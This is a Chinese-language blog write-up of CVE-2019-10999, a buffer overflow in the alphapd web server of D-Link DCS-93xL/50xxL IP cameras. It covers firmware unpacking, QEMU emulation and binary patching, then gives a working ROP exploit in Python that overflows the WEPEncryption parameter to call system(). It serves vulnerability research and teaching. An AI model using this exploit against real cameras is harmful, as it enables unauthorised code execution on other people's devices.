Loading... # CVE-2019-10999 Dlink IP 摄像头缓冲区溢出分析 ## 0x00 漏洞描述 该漏洞存在于`Dlink DCS-93xL`、`DCS-50xxL`系列摄像头的所有固件版本中。 在后端服务器程序 `alphapd` 中,允许经过身份认证的用户在请求 `wireless.htm` 时,传入 `WEPEncryption` 参数一个长字符串来执行任意代码。 ## 0x01 漏洞分析 ```bash # 在/etc_ro/rcS中有internet.sh ····················································································· internet.sh #for telnet debugging #security issue - don't run telnetd here -- andy 2012-07-03 #telnetd #for syslogd mkdir -p /var/log ····················································································· # 在/sbin/internet.sh中有lan.sh ····················································································· # setup lan lan.sh # lltd lld2d $lan_if # ping (send arp) gpio ping & swing echo "************************" echo "* END OF INTERNET.SH *" echo "************************" ····················································································· # 在/sbin/lan.sh发现web.sh ····················································································· web.sh # ddns ddns.sh # ntp ntp.sh ····················································································· # 最后在/sbin.web.sh中发现启动web服务的程序 alphapd #!/bin/sh # reload web server alphapd export LD_LIBRARY_PATH=/lnl killall -q alphapd sleep 1 alphapd & ``` 通过交叉引用,寻找敏感函数,可以定位到一个 `strcpy` 是用户可控的输入位置 ![image.png](http://www.seveng0.com/usr/uploads/2022/06/1331785588.png) ```c int __fastcall sub_435DEC(int a1, int a2, _DWORD *a3) { int v5; // $v0 BOOL v6; // $s0 int v7; // $s2 _BYTE *v8; // $s1 int Var; // $v0 int v11[4]; // [sp+18h] [-10h] BYREF v6 = a2 < 2; v5 = nvram_bufget(0, "WEPEncryption"); memset(v11, 0, sizeof(v11)); v7 = *a3; v8 = (_BYTE *)v5; if ( !v6 && !strcmp(*a3, "2") ) { if ( websTestVar(a1, "WEPEncryption") ) { Var = websGetVar(a1, "WEPEncryption", ""); v7 = a3[1]; v8 = (_BYTE *)Var; } else { v7 = a3[1]; } } if ( v8 && *v8 ) { if ( !strcmp(v8, "3") ) LOWORD(v11[0]) = 50; else strcpy(v11, v8); // v11 = v8 = Var = websGetVar(a1, "WEPEncryption", ""); 这里v11只有四个字节 } if ( LOBYTE(v11[0]) && !strcmp(v11, v7) ) return websWriteFmt(a1, "%s", "checked"); else return websWriteFmt(a1, "%s", ""); } ``` **再次交叉引用找到调用处**`formDefineWireless()` ![image.png](http://www.seveng0.com/usr/uploads/2022/06/2271884226.png) ```c int formDefineWireless() { websParaDefine("WirelessCountry", sub_4349C4); websParaDefine("RadioOfWirelessCountry", sub_434A54); websParaDefine("WirelessSupport", sub_434B44); websParaDefine("WirelessLink", sub_434BD8); websParaDefine("WirelessCurrentSSID", sub_434C60); websParaDefine("WirelessCurrentAPMACAddress", sub_434CA8); websParaDefine("WirelessCurrentChannel", sub_434D10); websParaDefine("WirelessCurrentTransmissionRate", sub_434D2C); websParaDefine("WirelessCurrentEncryption", sub_434D48); websParaDefine("FoundSSIDList", sub_434E9C); websParaDefine("SiteSurveyList", sub_4356D8); websParaDefine("WirelessDisable", sub_435B00); websParaDefine("RadioOfWirelessDisable", sub_435B28); websParaDefine("SSID", sub_435B50); websParaDefine("WirelessChannel", sub_435BB8); websParaDefine(&unk_47206C, sub_435BE0); websParaDefine("TransmissionRate", sub_435C28); websParaDefine("SelectOfTransmissionRate", sub_435C50); websParaDefine(&unk_4720A0, sub_435C98); websParaDefine("ConnectionMode", sub_435CE4); websParaDefine("RadioOfConnectionMode", sub_435D0C); websParaDefine(&unk_4720D4, sub_435D34); websParaDefine("WEPEncryption", sub_435D7C); websParaDefine("StringOfEncryption", sub_435DA4); websParaDefine("RadioOfWEPEncryWay", sub_435DEC); websParaDefine("WEPKeyLen", sub_435FDC); websParaDefine("WEPKeyFormat", sub_4361C8); websParaDefine("AuthenticationType", sub_4361F0); websParaDefine("RadioOfAuthenticationType", sub_436218); websParaDefine("TxKey", sub_436240); websParaDefine(&unk_47213C, sub_436268); websParaDefine("Key1", sub_4362B4); websParaDefine("Key2", sub_436460); websParaDefine("Key3", sub_43660C); websParaDefine("Key4", sub_4367B8); websParaDefine("PreSharedKey", sub_436964); websParaDefine("BeaconInterval", sub_436B10); websParaDefine("Preamble", sub_436B38); return websParaDefine("RadioOfPreamble", sub_436B60); } ``` **我们能够在模拟环境下找到**`SETUP`的`Wireless Setup`存在关键字 ![image.png](http://www.seveng0.com/usr/uploads/2022/06/3806956176.png) **发包测试是否存在溢出** ```python import requests Headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://0.0.0.0/setSystemWireless', 'Upgrade-Insecure-Requests': '1' } session = requests.session() data = '?WEPEncryption=' + 'A' * 0x200 res = session.get(url='http://0.0.0.0/wireless.htm' + data, headers=Headers) print(res.text) ``` **可以看到**`segmentation fault`,存在缓冲区溢出 ![image.png](http://www.seveng0.com/usr/uploads/2022/06/3799749668.png) ## 0x02 漏洞复现 **首先拿到固件并解包(**[https://drivers.softpedia.com/get/network-ip-surveillance-baby-camera/D-Link/D-Link-DCS-932L-rev-A-IP-Camera-Firmware-1-14-04.shtml#download](https://drivers.softpedia.com/get/network-ip-surveillance-baby-camera/D-Link/D-Link-DCS-932L-rev-A-IP-Camera-Firmware-1-14-04.shtml#download)) ```bash #这里binwalk无法正常解包的话安装sasquatch解决 #WARNING: Extractor.execute failed to run external extractor '7z e -y '%e'': 'module' object has no attribute 'DEVNULL', '7z e -y '%e'' might not be installed correctly git clone https://github.com/devttys0/sasquatch cd sasquatch ./sasquatch ``` **解包后,在**`/_dcs932l_v1.14.04.bin.extracted/_50040.extracted/_3DA000.extracted/cpio-root`找到系统文件。 **打包出来之后,把**`qemu-mipsel-static`复制到固件的根目录下,然后通过`qemu`启动`alphapd` ```bash sudo chroot . ./qemu-mipsel-static ./bin/alphapd ``` ![image.png](http://www.seveng0.com/usr/uploads/2022/06/2010144932.png) **发现报错**`alphapd: cannot open pid file` **我们在**`IDA`中载入`alphapd`,找到`/var/run/nvramd.pid` ```c int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // $s5 int v4; // $s0 int v5; // $v0 int v6; // $a2 const char *v7; // $a1 int v8; // $a2 int v10; // $s1 _BYTE *v11; // $s0 int v12; // $a2 trace(0, "Startup!\n", envp); v3 = 80; system("rm /etc_ro/web/pack/dbgulf.lzma"); if ( writeSrvPid() < 0 ) return -1; v4 = 0; while ( 1 ) { v5 = fopen("/var/run/nvramd.pid", "r"); // 在这里打开文件 /var/run/nvramd.pid v7 = "waiting for nvram_daemon"; if ( v5 ) break; if ( v4 ) v7 = ". "; ++v4; trace(16, v7, v6); Sleep(1); if ( v4 >= 15 ) { trace(0, "please execute nvram_daemon first!", v8); return -1; } } fclose(v5, "waiting for nvram_daemon"); nvram_init(0); preparesslkey(); switch_language(0, 0); v10 = nvram_bufget(0, "SecondHTTPPortEnable"); v11 = (_BYTE *)nvram_bufget(0, "SecondHTTPPort"); if ( v10 && !strcmp(v10, "3") && v11 && *v11 ) v3 = atoi(v11); sub_408004(15, sub_407F88); sub_408004(2, sub_407F88); signal(13, 1); if ( websStartupServer(v3) >= 0 ) { trace(0, "Running at address %s:%d\n", &websSrvIpAddr); websParaOpen(); websSetFormOpen(); websEnableErrorMessage(); websStartAuthentication(); httpd_main(); websEndAuthentication(); websDisableErrorMessage(); websSetFormClose(); websParaClose(); websShutdownServer(); } trace(0, "Shutdown!\n", v12); return 0; } ``` **我们创建**`/var/run/nvramd.pid`文件,再次启动仍然报错。 **提示无法创建**`RSA`密钥 ![image.png](http://www.seveng0.com/usr/uploads/2022/06/2550543348.png) ```bash sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/random c 1 8 sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/urandom c 1 9 ``` **再次启动,报错**`unable to write 'random state'` ![image.png](http://www.seveng0.com/usr/uploads/2022/06/3640615546.png) `OpenSSL` 需要写入一些信息到 `.rnd` 文件,`RANDFILE` 和 `HOME`环境变量没有设置导致`OpenSSL`不知道默认文件在何处 创建 `.rnd`文件并且设置环境变量 ```bash touch .rnd #export HOME=. #export RANDFILE=$HOME/.rnd sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd ./bin/alphapd ``` **再次启动,提示**`alphapd: Can't get lan ip from sysinfo!` ![image.png](http://www.seveng0.com/usr/uploads/2022/06/264567233.png) **在**`IDA`中通过字符串搜索定位到函数`websStartupServer` **该函数利用**`/dev/gpio`接口调用`getSysInfoLong`函数获取`IP` **由于模拟环境中没有**`/dev/gpio`,所以我们直接`patch`掉,让函数跳过去这段 ```c int __fastcall websStartupServer(int a1) { int SysInfoLong; // $v0 int v4; // $a2 const char *v5; // $s0 int v6; // $s0 unsigned int v7; // $v0 int MACAddress; // $s2 int v9; // [sp+20h] [-C0h] BYREF int v10; // [sp+24h] [-BCh] int v11; // [sp+28h] [-B8h] int v12; // [sp+2Ch] [-B4h] int v13; // [sp+30h] [-B0h] int v14; // [sp+34h] [-ACh] int v15; // [sp+38h] [-A8h] int v16; // [sp+3Ch] [-A4h] char v17[64]; // [sp+A0h] [-40h] BYREF if ( ++dword_4BAB9C == 1 ) { websConnLast = -1; websConnList = 0; websSocketOpen(); //------------------------------------------------------------ SysInfoLong = getSysInfoLong(30); // 调用getSysInfoLong函数 if ( !SysInfoLong && (v5 = (const char *)nvram_bufget(0, "IPAddress"), trace(0, "Can't get lan ip from sysinfo!\n", v4), SysInfoLong = inet_addr(v5), SysInfoLong == -1) ) { trace(0, "failed to convert %s to binary ip data", v5); return -1; } //---------------------------------------------------- else { v6 = inet_ntoa(SysInfoLong); v7 = strlen(v6) + 1; if ( v7 >= 0x80 ) v7 = 128; memcpy(&v9, v6, v7); *(_DWORD *)&websSrvIpAddr = v9; *(_DWORD *)&byte_4BBA04 = v10; *(_DWORD *)&byte_4BBA08 = v11; *(_DWORD *)&byte_4BBA0C = v12; dword_4BBA10 = v13; *(_DWORD *)&byte_4BBA1C = v16; *(_DWORD *)&byte_4BBA14 = v14; *(_DWORD *)&byte_4BBA2C = v12; *(_DWORD *)&websSrvHostName = v9; *(_DWORD *)&byte_4BBA24 = v10; *(_DWORD *)&byte_4BBA28 = v11; *(_DWORD *)&byte_4BBA18 = v15; dword_4BBA3C = v16; *(_DWORD *)&byte_4BBA30 = v13; *(_DWORD *)&byte_4BBA34 = v14; *(_DWORD *)&byte_4BBA38 = v15; memset(v17, 0, sizeof(v17)); getSysInfoBuffer(1, v17, 64); MACAddress = AllocateMACAddress(0, 0); snprintf(aWebs, 128, "%s_%s", v17); snprintf(aCgi_0, 128, "%s_cgi%s", v17); if ( MACAddress ) free(MACAddress); return websOpenListen(a1); } } else { return websSrvPort; } } ``` ![image.png](http://www.seveng0.com/usr/uploads/2022/06/709272795.png) `patch`之后成功启动 ![image.png](http://www.seveng0.com/usr/uploads/2022/06/2976514157.png) ![image.png](http://www.seveng0.com/usr/uploads/2022/06/4158954377.png) ## 0x03 漏洞利用 **关闭**`ASLR`,挂载到端口`7777`上方便调试 ```bash echo 0 > /proc/sys/kernel/randomize_va_space # 关闭ASLR ``` ![image.png](http://www.seveng0.com/usr/uploads/2022/06/3396795119.png) **这里可以看到偏移量为**`40` ```python import requests Headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://0.0.0.0/setSystemWireless', 'Upgrade-Insecure-Requests': '1' } session = requests.session() data = '?WEPEncryption=' + 'A' * 0x28 + 'B' * 0x4 res = session.get(url='http://0.0.0.0/wireless.htm' + data, headers=Headers) print(res.text) ``` **可以看到**`RBP`被覆盖为`0x42424242` ![image.png](http://www.seveng0.com/usr/uploads/2022/06/4195365941.png) `vmmap`找到`libc`基地址,然后在`libuClibc-0.9.28.so`中找到`system`地址`0x0004BD20` `0x41c67000 + 0x4BD20 = 0x41cb2d20` ![image.png](http://www.seveng0.com/usr/uploads/2022/06/2884613257.png) ![image.png](http://www.seveng0.com/usr/uploads/2022/06/1563124835.png) **同时我们找到这么一个**`gadget` **获取栈地址存入**`s2`,偏移为`0x1e8 - 0xf8 = 0xf0` **将**`s0`存入`t9`,然后调用 **也就是将**`system`地址存入`s0`的话就能跳转到`system`函数了 `0x41c67000 + 0x50DE4 = 0x41cb7de4` ```bash .text:00050DE4 addiu $s2, $sp, 0x1C8+var_D8 .text:00050DE8 move $a0, $s2 .text:00050DEC move $t9, $s0 .text:00050DF0 jalr $t9 ; ``` **根据前面我们定位到的漏洞函数处** **我们写入**`0x10`个字节,就可以控制`S0`寄存器 **然后再填充至**`0x28`个字节,可以控制到`ra`寄存器 **因此可以有**`exp` ```python import requests Headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Referer': 'http://0.0.0.0/setSystemWireless', 'Upgrade-Insecure-Requests': '1' } session = requests.session() data = '?WEPEncryption=' + 'A' * 0x10 + '%20%2D%CB%41' + 'B' * (0x28 - 0x10 - 0x4) + '%E4%7D%CB%41' + (0x30 - 0x28 - 0x4 + 0x1c8 - 0xd8) * 'C' + 'ls' res = session.get(url='http://0.0.0.0/wireless.htm' + data, headers=Headers) print(res.text) ``` **真实环境下需要获得设备,拿到**`so`文件的基址 > 参考: > > [https://zhuanlan.zhihu.com/p/438247454](https://zhuanlan.zhihu.com/p/438247454) > > [https://zhuanlan.zhihu.com/p/465873519](https://zhuanlan.zhihu.com/p/465873519) > > [https://xz.aliyun.com/t/5681](https://xz.aliyun.com/t/5681) 最后修改:2023 年 02 月 22 日 © 允许规范转载 打赏 赞赏作者 赞 0 如果觉得我的文章对你有用,请随意赞赏
1 条评论
这篇文章是我第一次从CTF接触实战学习的文章,还是作为永信的入职前的报告。